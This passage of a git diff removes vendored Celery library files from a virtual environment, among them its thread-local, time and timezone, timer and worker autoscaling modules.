'get_ident', 'default_socket_timeout', -) - -USE_FAST_LOCALS = os.environ.get('USE_FAST_LOCALS') - - -@contextmanager -def default_socket_timeout(timeout): - """Context temporarily setting the default socket timeout.""" - prev = socket.getdefaulttimeout() - socket.setdefaulttimeout(timeout) - yield - socket.setdefaulttimeout(prev) - - -class bgThread(threading.Thread): - """Background service thread.""" - - def __init__(self, name=None, **kwargs): - super().__init__() - self.__is_shutdown = threading.Event() - self.__is_stopped = threading.Event() - self.daemon = True - self.name = name or self.__class__.__name__ - - def body(self): - raise NotImplementedError() - - def on_crash(self, msg, *fmt, **kwargs): - print(msg.format(*fmt), file=sys.stderr) - traceback.print_exc(None, sys.stderr) - - def run(self): - body = self.body - shutdown_set = self.__is_shutdown.is_set - try: - while not shutdown_set(): - try: - body() - except Exception as exc: # pylint: disable=broad-except - try: - self.on_crash('{0!r} crashed: {1!r}', self.name, exc) - self._set_stopped() - finally: - sys.stderr.flush() - os._exit(1) # exiting by normal means won't work - finally: - self._set_stopped() - - def _set_stopped(self): - try: - self.__is_stopped.set() - except TypeError: # pragma: no cover - # we lost the race at interpreter shutdown, - # so gc collected built-in modules. - pass - - def stop(self): - """Graceful shutdown.""" - self.__is_shutdown.set() - self.__is_stopped.wait() - if self.is_alive(): - self.join(THREAD_TIMEOUT_MAX) - - -def release_local(local): - """Release the contents of the local for the current context. - - This makes it possible to use locals without a manager. - - With this function one can release :class:`Local` objects as well as - :class:`StackLocal` objects. However it's not possible to - release data held by proxies that way, one always has to retain - a reference to the underlying local object in order to be able - to release it. - - Example: - >>> loc = Local() - >>> loc.foo = 42 - >>> release_local(loc) - >>> hasattr(loc, 'foo') - False - """ - local.__release_local__() - - -class Local: - """Local object.""" - - __slots__ = ('__storage__', '__ident_func__') - - def __init__(self): - object.__setattr__(self, '__storage__', {}) - object.__setattr__(self, '__ident_func__', get_ident) - - def __iter__(self): - return iter(self.__storage__.items()) - - def __call__(self, proxy): - """Create a proxy for a name.""" - return Proxy(self, proxy) - - def __release_local__(self): - self.__storage__.pop(self.__ident_func__(), None) - - def __getattr__(self, name): - try: - return self.__storage__[self.__ident_func__()][name] - except KeyError: - raise AttributeError(name) - - def __setattr__(self, name, value): - ident = self.__ident_func__() - storage = self.__storage__ - try: - storage[ident][name] = value - except KeyError: - storage[ident] = {name: value} - - def __delattr__(self, name): - try: - del self.__storage__[self.__ident_func__()][name] - except KeyError: - raise AttributeError(name) - - -class _LocalStack: - """Local stack. - - This class works similar to a :class:`Local` but keeps a stack - of objects instead. This is best explained with an example:: - - >>> ls = LocalStack() - >>> ls.push(42) - >>> ls.top - 42 - >>> ls.push(23) - >>> ls.top - 23 - >>> ls.pop() - 23 - >>> ls.top - 42 - - They can be force released by using a :class:`LocalManager` or with - the :func:`release_local` function but the correct way is to pop the - item from the stack after using. When the stack is empty it will - no longer be bound to the current context (and as such released). - - By calling the stack without arguments it will return a proxy that - resolves to the topmost item on the stack. - """ - - def __init__(self): - self._local = Local() - - def __release_local__(self): - self._local.__release_local__() - - def _get__ident_func__(self): - return self._local.__ident_func__ - - def _set__ident_func__(self, value): - object.__setattr__(self._local, '__ident_func__', value) - __ident_func__ = property(_get__ident_func__, _set__ident_func__) - del _get__ident_func__, _set__ident_func__ - - def __call__(self): - def _lookup(): - rv = self.top - if rv is None: - raise RuntimeError('object unbound') - return rv - return Proxy(_lookup) - - def push(self, obj): - """Push a new item to the stack.""" - rv = getattr(self._local, 'stack', None) - if rv is None: - # pylint: disable=assigning-non-slot - # This attribute is defined now. - self._local.stack = rv = [] - rv.append(obj) - return rv - - def pop(self): - """Remove the topmost item from the stack. - - Note: - Will return the old value or `None` if the stack was already empty. - """ - stack = getattr(self._local, 'stack', None) - if stack is None: - return None - elif len(stack) == 1: - release_local(self._local) - return stack[-1] - else: - return stack.pop() - - def __len__(self): - stack = getattr(self._local, 'stack', None) - return len(stack) if stack else 0 - - @property - def stack(self): - # get_current_worker_task uses this to find - # the original task that was executed by the worker. - stack = getattr(self._local, 'stack', None) - if stack is not None: - return stack - return [] - - @property - def top(self): - """The topmost item on the stack. - - Note: - If the stack is empty, :const:`None` is returned. - """ - try: - return self._local.stack[-1] - except (AttributeError, IndexError): - return None - - -class LocalManager: - """Local objects cannot manage themselves. - - For that you need a local manager. - You can pass a local manager multiple locals or add them - later by appending them to ``manager.locals``. Every time the manager - cleans up, it will clean up all the data left in the locals for this - context. - - The ``ident_func`` parameter can be added to override the default ident - function for the wrapped locals. - """ - - def __init__(self, locals=None, ident_func=None): - if locals is None: - self.locals = [] - elif isinstance(locals, Local): - self.locals = [locals] - else: - self.locals = list(locals) - if ident_func is not None: - self.ident_func = ident_func - for local in self.locals: - object.__setattr__(local, '__ident_func__', ident_func) - else: - self.ident_func = get_ident - - def get_ident(self): - """Return context identifier. - - This is the identifier the local objects use internally - for this context. You cannot override this method to change the - behavior but use it to link other context local objects (such as - SQLAlchemy's scoped sessions) to the Werkzeug locals. - """ - return self.ident_func() - - def cleanup(self): - """Manually clean up the data in the locals for this context. - - Call this at the end of the request or use ``make_middleware()``. - """ - for local in self.locals: - release_local(local) - - def __repr__(self): - return '<{} storages: {}>'.format( - self.__class__.__name__, len(self.locals)) - - -class _FastLocalStack(threading.local): - - def __init__(self): - self.stack = [] - self.push = self.stack.append - self.pop = self.stack.pop - super().__init__() - - @property - def top(self): - try: - return self.stack[-1] - except (AttributeError, IndexError): - return None - - def __len__(self): - return len(self.stack) - - -if USE_FAST_LOCALS: # pragma: no cover - LocalStack = _FastLocalStack -else: # pragma: no cover - # - See #706 - # since each thread has its own greenlet we can just use those as - # identifiers for the context. If greenlets aren't available we - # fall back to the current thread ident. - LocalStack = _LocalStack diff --git a/venv/Lib/site-packages/celery/utils/time.py b/venv/Lib/site-packages/celery/utils/time.py deleted file mode 100644 index bd9dba1a2e6f38ce353666f39a4b7eb8afb14e5f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/time.py +++ /dev/null @@ -1,462 +0,0 @@ -"""Utilities related to dates, times, intervals, and timezones.""" -from __future__ import annotations - -import logging -import numbers -import os -import random -import sys -import time as _time -from calendar import monthrange -from datetime import date, datetime, timedelta -from datetime import timezone as datetime_timezone -from datetime import tzinfo -from types import ModuleType -from typing import Any, Callable - -from dateutil import tz as dateutil_tz -from dateutil.parser import isoparse -from kombu.utils.functional import reprcall -from kombu.utils.objects import cached_property -from tzlocal import get_localzone - -from .functional import dictfilter -from .text import pluralize - -if sys.version_info >= (3, 9): - from zoneinfo import ZoneInfo -else: - from backports.zoneinfo import ZoneInfo - -logger = logging.getLogger(__name__) - -__all__ = ( - 'LocalTimezone', 'timezone', 'maybe_timedelta', - 'delta_resolution', 'remaining', 'rate', 'weekday', - 'humanize_seconds', 'maybe_iso8601', 'is_naive', - 'make_aware', 'localize', 'to_utc', 'maybe_make_aware', - 'ffwd', 'utcoffset', 'adjust_timestamp', - 'get_exponential_backoff_interval', -) - -C_REMDEBUG = os.environ.get('C_REMDEBUG', False) - -DAYNAMES = 'sun', 'mon', 'tue', 'wed', 'thu', 'fri', 'sat' -WEEKDAYS = dict(zip(DAYNAMES, range(7))) - -MONTHNAMES = 'jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec' -YEARMONTHS = dict(zip(MONTHNAMES, range(1, 13))) - -RATE_MODIFIER_MAP = { - 's': lambda n: n, - 'm': lambda n: n / 60.0, - 'h': lambda n: n / 60.0 / 60.0, -} - -TIME_UNITS = ( - ('day', 60 * 60 * 24.0, lambda n: format(n, '.2f')), - ('hour', 60 * 60.0, lambda n: format(n, '.2f')), - ('minute', 60.0, lambda n: format(n, '.2f')), - ('second', 1.0, lambda n: format(n, '.2f')), -) - -ZERO = timedelta(0) - -_local_timezone = None - - -class LocalTimezone(tzinfo): - """Local time implementation. Provided in _Zone to the app when `enable_utc` is disabled. - Otherwise, _Zone provides a UTC ZoneInfo instance as the timezone implementation for the application. - - Note: - Used only when the :setting:`enable_utc` setting is disabled. - """ - - _offset_cache: dict[int, tzinfo] = {} - - def __init__(self) -> None: - # This code is moved in __init__ to execute it as late as possible - # See get_default_timezone(). - self.STDOFFSET = timedelta(seconds=-_time.timezone) - if _time.daylight: - self.DSTOFFSET = timedelta(seconds=-_time.altzone) - else: - self.DSTOFFSET = self.STDOFFSET - self.DSTDIFF = self.DSTOFFSET - self.STDOFFSET - super().__init__() - - def __repr__(self) -> str: - return f'' - - def utcoffset(self, dt: datetime) -> timedelta: - return self.DSTOFFSET if self._isdst(dt) else self.STDOFFSET - - def dst(self, dt: datetime) -> timedelta: - return self.DSTDIFF if self._isdst(dt) else ZERO - - def tzname(self, dt: datetime) -> str: - return _time.tzname[self._isdst(dt)] - - def fromutc(self, dt: datetime) -> datetime: - # The base tzinfo class no longer implements a DST - # offset aware .fromutc() in Python 3 (Issue #2306). - offset = int(self.utcoffset(dt).seconds / 60.0) - try: - tz = self._offset_cache[offset] - except KeyError: - tz = self._offset_cache[offset] = datetime_timezone( - timedelta(minutes=offset)) - return tz.fromutc(dt.replace(tzinfo=tz)) - - def _isdst(self, dt: datetime) -> bool: - tt = (dt.year, dt.month, dt.day, - dt.hour, dt.minute, dt.second, - dt.weekday(), 0, 0) - stamp = _time.mktime(tt) - tt = _time.localtime(stamp) - return tt.tm_isdst > 0 - - -class _Zone: - """Timezone class that provides the timezone for the application. - If `enable_utc` is disabled, local system timezone is provided as the timezone provider through local(). - Otherwise, this class provides a UTC ZoneInfo instance as the timezone provider for the application. - - Additionally this class provides a few utility methods for converting datetimes. - """ - - def tz_or_local(self, tzinfo: tzinfo | None = None) -> tzinfo: - """Return either our local timezone or the provided timezone.""" - - # pylint: disable=redefined-outer-name - if tzinfo is None: - return self.local - return self.get_timezone(tzinfo) - - def to_local(self, dt: datetime, local=None, orig=None): - """Converts a datetime to the local timezone.""" - - if is_naive(dt): - dt = make_aware(dt, orig or self.utc) - return localize(dt, self.tz_or_local(local)) - - def to_system(self, dt: datetime) -> datetime: - """Converts a datetime to the system timezone.""" - - # tz=None is a special case since Python 3.3, and will - # convert to the current local timezone (Issue #2306). - return dt.astimezone(tz=None) - - def to_local_fallback(self, dt: datetime) -> datetime: - """Converts a datetime to the local timezone, or the system timezone.""" - if is_naive(dt): - return make_aware(dt, self.local) - return localize(dt, self.local) - - def get_timezone(self, zone: str | tzinfo) -> tzinfo: - """Returns ZoneInfo timezone if the provided zone is a string, otherwise return the zone.""" - if isinstance(zone, str): - return ZoneInfo(zone) - return zone - - @cached_property - def local(self) -> tzinfo: - """Return the local system timezone for the application.""" - try: - timezone = get_localzone() - except Exception as ex: - timezone = None - logger.warning("Failed to retrieve local timezone (%s): %s", type(ex).__name__, ex) - if timezone is None: - return LocalTimezone() - return timezone - - @cached_property - def utc(self) -> tzinfo: - """Return UTC timezone created with ZoneInfo.""" - return self.get_timezone('UTC') - - -timezone = _Zone() - - -def maybe_timedelta(delta: int) -> timedelta: - """Convert integer to timedelta, if argument is an integer.""" - if isinstance(delta, numbers.Real): - return timedelta(seconds=delta) - return delta - - -def delta_resolution(dt: datetime, delta: timedelta) -> datetime: - """Round a :class:`~datetime.datetime` to the resolution of timedelta. - - If the :class:`~datetime.timedelta` is in days, the - :class:`~datetime.datetime` will be rounded to the nearest days, - if the :class:`~datetime.timedelta` is in hours the - :class:`~datetime.datetime` will be rounded to the nearest hour, - and so on until seconds, which will just return the original - :class:`~datetime.datetime`. - """ - delta = max(delta.total_seconds(), 0) - - resolutions = ((3, lambda x: x / 86400), - (4, lambda x: x / 3600), - (5, lambda x: x / 60)) - - args = dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second - for res, predicate in resolutions: - if predicate(delta) >= 1.0: - return datetime(*args[:res], tzinfo=dt.tzinfo) - return dt - - -def remaining( - start: datetime, ends_in: timedelta, now: datetime | None = None, - relative: bool = False) -> timedelta: - """Calculate the real remaining time for a start date and a timedelta. - - For example, "how many seconds left for 30 seconds after start?" - - Arguments: - start (~datetime.datetime): Starting date. - ends_in (~datetime.timedelta): The end delta. - relative (bool): If enabled the end time will be calculated - using :func:`delta_resolution` (i.e., rounded to the - resolution of `ends_in`). - now (~datetime.datetime): Current time and date. - Defaults to :func:`datetime.now(timezone.utc)`. - - Returns: - ~datetime.timedelta: Remaining time. - """ - now = now or datetime.now(datetime_timezone.utc) - end_date = start + ends_in - if relative: - end_date = delta_resolution(end_date, ends_in).replace(microsecond=0) - - # Using UTC to calculate real time difference. - # Python by default uses wall time in arithmetic between datetimes with - # equal non-UTC timezones. - now_utc = now.astimezone(timezone.utc) - end_date_utc = end_date.astimezone(timezone.utc) - ret = end_date_utc - now_utc - if C_REMDEBUG: # pragma: no cover - print( - 'rem: NOW:{!r} NOW_UTC:{!r} START:{!r} ENDS_IN:{!r} ' - 'END_DATE:{} END_DATE_UTC:{!r} REM:{}'.format( - now, now_utc, start, ends_in, end_date, end_date_utc, ret) - ) - return ret - - -def rate(r: str) -> float: - """Convert rate string (`"100/m"`, `"2/h"` or `"0.5/s"`) to seconds.""" - if r: - if isinstance(r, str): - ops, _, modifier = r.partition('/') - return RATE_MODIFIER_MAP[modifier or 's'](float(ops)) or 0 - return r or 0 - return 0 - - -def weekday(name: str) -> int: - """Return the position of a weekday: 0 - 7, where 0 is Sunday. - - Example: - >>> weekday('sunday'), weekday('sun'), weekday('mon') - (0, 0, 1) - """ - abbreviation = name[0:3].lower() - try: - return WEEKDAYS[abbreviation] - except KeyError: - # Show original day name in exception, instead of abbr. - raise KeyError(name) - - -def yearmonth(name: str) -> int: - """Return the position of a month: 1 - 12, where 1 is January. - - Example: - >>> yearmonth('january'), yearmonth('jan'), yearmonth('may') - (1, 1, 5) - """ - abbreviation = name[0:3].lower() - try: - return YEARMONTHS[abbreviation] - except KeyError: - # Show original day name in exception, instead of abbr. - raise KeyError(name) - - -def humanize_seconds( - secs: int, prefix: str = '', sep: str = '', now: str = 'now', - microseconds: bool = False) -> str: - """Show seconds in human form. - - For example, 60 becomes "1 minute", and 7200 becomes "2 hours". - - Arguments: - prefix (str): can be used to add a preposition to the output - (e.g., 'in' will give 'in 1 second', but add nothing to 'now'). - now (str): Literal 'now'. - microseconds (bool): Include microseconds. - """ - secs = float(format(float(secs), '.2f')) - for unit, divider, formatter in TIME_UNITS: - if secs >= divider: - w = secs / float(divider) - return '{}{}{} {}'.format(prefix, sep, formatter(w), - pluralize(w, unit)) - if microseconds and secs > 0.0: - return '{prefix}{sep}{0:.2f} seconds'.format( - secs, sep=sep, prefix=prefix) - return now - - -def maybe_iso8601(dt: datetime | str | None) -> None | datetime: - """Either ``datetime | str -> datetime`` or ``None -> None``.""" - if not dt: - return - if isinstance(dt, datetime): - return dt - return isoparse(dt) - - -def is_naive(dt: datetime) -> bool: - """Return True if :class:`~datetime.datetime` is naive, meaning it doesn't have timezone info set.""" - return dt.tzinfo is None or dt.tzinfo.utcoffset(dt) is None - - -def _can_detect_ambiguous(tz: tzinfo) -> bool: - """Helper function to determine if a timezone can detect ambiguous times using dateutil.""" - - return isinstance(tz, ZoneInfo) or hasattr(tz, "is_ambiguous") - - -def _is_ambiguous(dt: datetime, tz: tzinfo) -> bool: - """Helper function to determine if a timezone is ambiguous using python's dateutil module. - - Returns False if the timezone cannot detect ambiguity, or if there is no ambiguity, otherwise True. - - In order to detect ambiguous datetimes, the timezone must be built using ZoneInfo, or have an is_ambiguous - method. Previously, pytz timezones would throw an AmbiguousTimeError if the localized dt was ambiguous, - but now we need to specifically check for ambiguity with dateutil, as pytz is deprecated. - """ - - return _can_detect_ambiguous(tz) and dateutil_tz.datetime_ambiguous(dt) - - -def make_aware(dt: datetime, tz: tzinfo) -> datetime: - """Set timezone for a :class:`~datetime.datetime` object.""" - - dt = dt.replace(tzinfo=tz) - if _is_ambiguous(dt, tz): - dt = min(dt.replace(fold=0), dt.replace(fold=1)) - return dt - - -def localize(dt: datetime, tz: tzinfo) -> datetime: - """Convert aware :class:`~datetime.datetime` to another timezone. - - Using a ZoneInfo timezone will give the most flexibility in terms of ambiguous DST handling. - """ - if is_naive(dt): # Ensure timezone aware datetime - dt = make_aware(dt, tz) - if dt.tzinfo == ZoneInfo("UTC"): - dt = dt.astimezone(tz) # Always safe to call astimezone on utc zones - return dt - - -def to_utc(dt: datetime) -> datetime: - """Convert naive :class:`~datetime.datetime` to UTC.""" - return make_aware(dt, timezone.utc) - - -def maybe_make_aware(dt: datetime, tz: tzinfo | None = None, - naive_as_utc: bool = True) -> datetime: - """Convert dt to aware datetime, do nothing if dt is already aware.""" - if is_naive(dt): - if naive_as_utc: - dt = to_utc(dt) - return localize( - dt, timezone.utc if tz is None else timezone.tz_or_local(tz), - ) - return dt - - -class ffwd: - """Version of ``dateutil.relativedelta`` that only supports addition.""" - - def __init__(self, year=None, month=None, weeks=0, weekday=None, day=None, - hour=None, minute=None, second=None, microsecond=None, - **kwargs: Any): - # pylint: disable=redefined-outer-name - # weekday is also a function in outer scope. - self.year = year - self.month = month - self.weeks = weeks - self.weekday = weekday - self.day = day - self.hour = hour - self.minute = minute - self.second = second - self.microsecond = microsecond - self.days = weeks * 7 - self._has_time = self.hour is not None or self.minute is not None - - def __repr__(self) -> str: - return reprcall('ffwd', (), self._fields(weeks=self.weeks, - weekday=self.weekday)) - - def __radd__(self, other: Any) -> timedelta: - if not isinstance(other, date): - return NotImplemented - year = self.year or other.year - month = self.month or other.month - day = min(monthrange(year, month)[1], self.day or other.day) - ret = other.replace(**dict(dictfilter(self._fields()), - year=year, month=month, day=day)) - if self.weekday is not None: - ret += timedelta(days=(7 - ret.weekday() + self.weekday) % 7) - return ret + timedelta(days=self.days) - - def _fields(self, **extra: Any) -> dict[str, Any]: - return dictfilter({ - 'year': self.year, 'month': self.month, 'day': self.day, - 'hour': self.hour, 'minute': self.minute, - 'second': self.second, 'microsecond': self.microsecond, - }, **extra) - - -def utcoffset( - time: ModuleType = _time, - localtime: Callable[..., _time.struct_time] = _time.localtime) -> float: - """Return the current offset to UTC in hours.""" - if localtime().tm_isdst: - return time.altzone // 3600 - return time.timezone // 3600 - - -def adjust_timestamp(ts: float, offset: int, - here: Callable[..., float] = utcoffset) -> float: - """Adjust timestamp based on provided utcoffset.""" - return ts - (offset - here()) * 3600 - - -def get_exponential_backoff_interval( - factor: int, - retries: int, - maximum: int, - full_jitter: bool = False -) -> int: - """Calculate the exponential backoff wait time.""" - # Will be zero if factor equals 0 - countdown = min(maximum, factor * (2 ** retries)) - # Full jitter according to - # https://aws.amazon.com/blogs/architecture/exponential-backoff-and-jitter/ - if full_jitter: - countdown = random.randrange(countdown + 1) - # Adjust according to maximum wait time and account for negative values. - return max(0, countdown) diff --git a/venv/Lib/site-packages/celery/utils/timer2.py b/venv/Lib/site-packages/celery/utils/timer2.py deleted file mode 100644 index adfdb403a3a8d44d371cfd804ef6facefb9de670..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/timer2.py +++ /dev/null @@ -1,160 +0,0 @@ -"""Scheduler for Python functions. - -.. note:: - This is used for the thread-based worker only, - not for amqp/redis/sqs/qpid where :mod:`kombu.asynchronous.timer` is used. -""" -import os -import sys -import threading -from itertools import count -from threading import TIMEOUT_MAX as THREAD_TIMEOUT_MAX -from time import sleep -from typing import Any, Callable, Iterator, Optional, Tuple - -from kombu.asynchronous.timer import Entry -from kombu.asynchronous.timer import Timer as Schedule -from kombu.asynchronous.timer import logger, to_timestamp - -TIMER_DEBUG = os.environ.get('TIMER_DEBUG') - -__all__ = ('Entry', 'Schedule', 'Timer', 'to_timestamp') - - -class Timer(threading.Thread): - """Timer thread. - - Note: - This is only used for transports not supporting AsyncIO. - """ - - Entry = Entry - Schedule = Schedule - - running: bool = False - on_tick: Optional[Callable[[float], None]] = None - - _timer_count: count = count(1) - - if TIMER_DEBUG: # pragma: no cover - def start(self, *args: Any, **kwargs: Any) -> None: - import traceback - print('- Timer starting') - traceback.print_stack() - super().start(*args, **kwargs) - - def __init__(self, schedule: Optional[Schedule] = None, - on_error: Optional[Callable[[Exception], None]] = None, - on_tick: Optional[Callable[[float], None]] = None, - on_start: Optional[Callable[['Timer'], None]] = None, - max_interval: Optional[float] = None, **kwargs: Any) -> None: - self.schedule = schedule or self.Schedule(on_error=on_error, - max_interval=max_interval) - self.on_start = on_start - self.on_tick = on_tick or self.on_tick - super().__init__() - # `_is_stopped` is likely to be an attribute on `Thread` objects so we - # double underscore these names to avoid shadowing anything and - # potentially getting confused by the superclass turning these into - # something other than an `Event` instance (e.g. a `bool`) - self.__is_shutdown = threading.Event() - self.__is_stopped = threading.Event() - self.mutex = threading.Lock() - self.not_empty = threading.Condition(self.mutex) - self.daemon = True - self.name = f'Timer-{next(self._timer_count)}' - - def _next_entry(self) -> Optional[float]: - with self.not_empty: - delay: Optional[float] - entry: Optional[Entry] - delay, entry = next(self.scheduler) - if entry is None: - if delay is None: - self.not_empty.wait(1.0) - return delay - return self.schedule.apply_entry(entry) - __next__ = next = _next_entry # for 2to3 - - def run(self) -> None: - try: - self.running = True - self.scheduler: Iterator[Tuple[Optional[float], Optional[Entry]]] = iter(self.schedule) - - while not self.__is_shutdown.is_set(): - delay = self._next_entry() - if delay: - if self.on_tick: - self.on_tick(delay) - if sleep is None: # pragma: no cover - break - sleep(delay) - try: - self.__is_stopped.set() - except TypeError: # pragma: no cover - # we lost the race at interpreter shutdown, - # so gc collected built-in modules. - pass - except Exception as exc: - logger.error('Thread Timer crashed: %r', exc, exc_info=True) - sys.stderr.flush() - os._exit(1) - - def stop(self) -> None: - self.__is_shutdown.set() - if self.running: - self.__is_stopped.wait() - self.join(THREAD_TIMEOUT_MAX) - self.running = False - - def ensure_started(self) -> None: - if not self.running and not self.is_alive(): - if self.on_start: - self.on_start(self) - self.start() - - def _do_enter(self, meth: str, *args: Any, **kwargs: Any) -> Entry: - self.ensure_started() - with self.mutex: - entry = getattr(self.schedule, meth)(*args, **kwargs) - self.not_empty.notify() - return entry - - def enter(self, entry: Entry, eta: float, priority: Optional[int] = None) -> Entry: - return self._do_enter('enter_at', entry, eta, priority=priority) - - def call_at(self, *args: Any, **kwargs: Any) -> Entry: - return self._do_enter('call_at', *args, **kwargs) - - def enter_after(self, *args: Any, **kwargs: Any) -> Entry: - return self._do_enter('enter_after', *args, **kwargs) - - def call_after(self, *args: Any, **kwargs: Any) -> Entry: - return self._do_enter('call_after', *args, **kwargs) - - def call_repeatedly(self, *args: Any, **kwargs: Any) -> Entry: - return self._do_enter('call_repeatedly', *args, **kwargs) - - def exit_after(self, secs: float, priority: int = 10) -> None: - self.call_after(secs, sys.exit, priority) - - def cancel(self, tref: Entry) -> None: - tref.cancel() - - def clear(self) -> None: - self.schedule.clear() - - def empty(self) -> bool: - return not len(self) - - def __len__(self) -> int: - return len(self.schedule) - - def __bool__(self) -> bool: - """``bool(timer)``.""" - return True - __nonzero__ = __bool__ - - @property - def queue(self) -> list: - return self.schedule.queue diff --git a/venv/Lib/site-packages/celery/worker/__init__.py b/venv/Lib/site-packages/celery/worker/__init__.py deleted file mode 100644 index 5110680720714cdc1aa2b6a23f827351457a33d2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -"""Worker implementation.""" -from .worker import WorkController - -__all__ = ('WorkController',) diff --git a/venv/Lib/site-packages/celery/worker/autoscale.py b/venv/Lib/site-packages/celery/worker/autoscale.py deleted file mode 100644 index e5b9024cade2daa88135b49ca9a8900b4497918d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/autoscale.py +++ /dev/null @@ -1,154 +0,0 @@ -"""Pool Autoscaling. - -This module implements the internal thread responsible -for growing and shrinking the pool according to the -current autoscale settings. - -The autoscale thread is only enabled if -the :option:`celery worker --autoscale` option is used. -""" -import os -import threading -from time import monotonic, sleep - -from kombu.asynchronous.semaphore import DummyLock - -from celery import bootsteps -from celery.utils.log import get_logger -from celery.utils.threads import bgThread - -from . import state -from .components import Pool - -__all__ = ('Autoscaler', 'WorkerComponent') - -logger = get_logger(__name__) -debug, info, error = logger.debug, logger.info, logger.error - -AUTOSCALE_KEEPALIVE = float(os.environ.get('AUTOSCALE_KEEPALIVE', 30)) - - -class WorkerComponent(bootsteps.StartStopStep): - """Bootstep that starts the autoscaler thread/timer in the worker.""" - - label = 'Autoscaler' - conditional = True - requires = (Pool,) - - def __init__(self, w, **kwargs): - self.enabled = w.autoscale - w.autoscaler = None - - def create(self, w): - scaler = w.autoscaler = self.instantiate( - w.autoscaler_cls, - w.pool, w.max_concurrency, w.min_concurrency, - worker=w, mutex=DummyLock() if w.use_eventloop else None, - ) - return scaler if not w.use_eventloop else None - - def register_with_event_loop(self, w, hub): - w.consumer.on_task_message.add(w.autoscaler.maybe_scale) - hub.call_repeatedly( - w.autoscaler.keepalive, w.autoscaler.maybe_scale, - ) - - def info(self, w): - """Return `Autoscaler` info.""" - return {'autoscaler': w.autoscaler.info()} - - -class Autoscaler(bgThread): - """Background thread to autoscale pool workers.""" - - def __init__(self, pool, max_concurrency, - min_concurrency=0, worker=None, - keepalive=AUTOSCALE_KEEPALIVE, mutex=None): - super().__init__() - self.pool = pool - self.mutex = mutex or threading.Lock() - self.max_concurrency = max_concurrency - self.min_concurrency = min_concurrency - self.keepalive = keepalive - self._last_scale_up = None - self.worker = worker - - assert self.keepalive, 'cannot scale down too fast.' - - def body(self): - with self.mutex: - self.maybe_scale() - sleep(1.0) - - def _maybe_scale(self, req=None): - procs = self.processes - cur = min(self.qty, self.max_concurrency) - if cur > procs: - self.scale_up(cur - procs) - return True - cur = max(self.qty, self.min_concurrency) - if cur < procs: - self.scale_down(procs - cur) - return True - - def maybe_scale(self, req=None): - if self._maybe_scale(req): - self.pool.maintain_pool() - - def update(self, max=None, min=None): - with self.mutex: - if max is not None: - if max < self.processes: - self._shrink(self.processes - max) - self._update_consumer_prefetch_count(max) - self.max_concurrency = max - if min is not None: - if min > self.processes: - self._grow(min - self.processes) - self.min_concurrency = min - return self.max_concurrency, self.min_concurrency - - def scale_up(self, n): - self._last_scale_up = monotonic() - return self._grow(n) - - def scale_down(self, n): - if self._last_scale_up and ( - monotonic() - self._last_scale_up > self.keepalive): - return self._shrink(n) - - def _grow(self, n): - info('Scaling up %s processes.', n) - self.pool.grow(n) - - def _shrink(self, n): - info('Scaling down %s processes.', n) - try: - self.pool.shrink(n) - except ValueError: - debug("Autoscaler won't scale down: all processes busy.") - except Exception as exc: - error('Autoscaler: scale_down: %r', exc, exc_info=True) - - def _update_consumer_prefetch_count(self, new_max): - diff = new_max - self.max_concurrency - if diff: - self.worker.consumer._update_prefetch_count( - diff - ) - - def info(self): - return { - 'max': self.max_concurrency, - 'min': self.min_concurrency, - 'current': self.processes, - 'qty': self.qty, - } - - @property - def qty(self): - return len(state.reserved_requests) - - @property - def processes(self): - return self.pool.num_processes diff --git a/venv/Lib/site-packages/celery/worker/components.py b/venv/Lib/site-packages/celery/worker/components.py deleted file mode 100644 index f60abe98a9c1ddca64f6146f2f291a24bae4b37e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/components.py +++ /dev/null @@ -1,246 +0,0 @@ -"""Worker-level Bootsteps.""" -import atexit -import warnings - -from kombu.asynchronous import Hub as _Hub -from kombu.asynchronous import get_event_loop, set_event_loop -from kombu.asynchronous.semaphore import DummyLock, LaxBoundedSemaphore -from kombu.asynchronous.timer import Timer as _Timer - -from celery import bootsteps -from celery._state import _set_task_join_will_block -from celery.exceptions import ImproperlyConfigured -from celery.platforms import IS_WINDOWS -from celery.utils.log import worker_logger as logger - -__all__ = ('Timer', 'Hub', 'Pool', 'Beat', 'StateDB', 'Consumer') - -GREEN_POOLS = {'eventlet', 'gevent'} - -ERR_B_GREEN = """\ --B option doesn't work with eventlet/gevent pools: \ -use standalone beat instead.\ -""" - -W_POOL_SETTING = """ -The worker_pool setting shouldn't be used to select the eventlet/gevent -pools, instead you *must use the -P* argument so that patches are applied -as early as possible. -""" - - -class Timer(bootsteps.Step): - """Timer bootstep.""" - - def create(self, w): - if w.use_eventloop: - # does not use dedicated timer thread. - w.timer = _Timer(max_interval=10.0) - else: - if not w.timer_cls: - # Default Timer is set by the pool, as for example, the - # eventlet pool needs a custom timer implementation. - w.timer_cls = w.pool_cls.Timer - w.timer = self.instantiate(w.timer_cls, - max_interval=w.timer_precision, - on_error=self.on_timer_error, - on_tick=self.on_timer_tick) - - def on_timer_error(self, exc): - logger.error('Timer error: %r', exc, exc_info=True) - - def on_timer_tick(self, delay): - logger.debug('Timer wake-up! Next ETA %s secs.', delay) - - -class Hub(bootsteps.StartStopStep): - """Worker starts the event loop.""" - - requires = (Timer,) - - def __init__(self, w, **kwargs): - w.hub = None - super().__init__(w, **kwargs) - - def include_if(self, w): - return w.use_eventloop - - def create(self, w): - w.hub = get_event_loop() - if w.hub is None: - required_hub = getattr(w._conninfo, 'requires_hub', None) - w.hub = set_event_loop(( - required_hub if required_hub else _Hub)(w.timer)) - self._patch_thread_primitives(w) - return self - - def start(self, w): - # Ensure the kombu hub's poller is initialized before the event loop starts. - # Since asynloop() no longer resets the hub on exit (to preserve timers - # during shutdown), we must initialize the poller upfront. - _ = w.hub.poller - - def stop(self, w): - w.hub.close() - - def terminate(self, w): - w.hub.close() - - def _patch_thread_primitives(self, w): - # make clock use dummy lock - w.app.clock.mutex = DummyLock() - # multiprocessing's ApplyResult uses this lock. - try: - from billiard import pool - except ImportError: - pass - else: - pool.Lock = DummyLock - - -class Pool(bootsteps.StartStopStep): - """Bootstep managing the worker pool. - - Describes how to initialize the worker pool, and starts and stops - the pool during worker start-up/shutdown. - - Adds attributes: - - * autoscale - 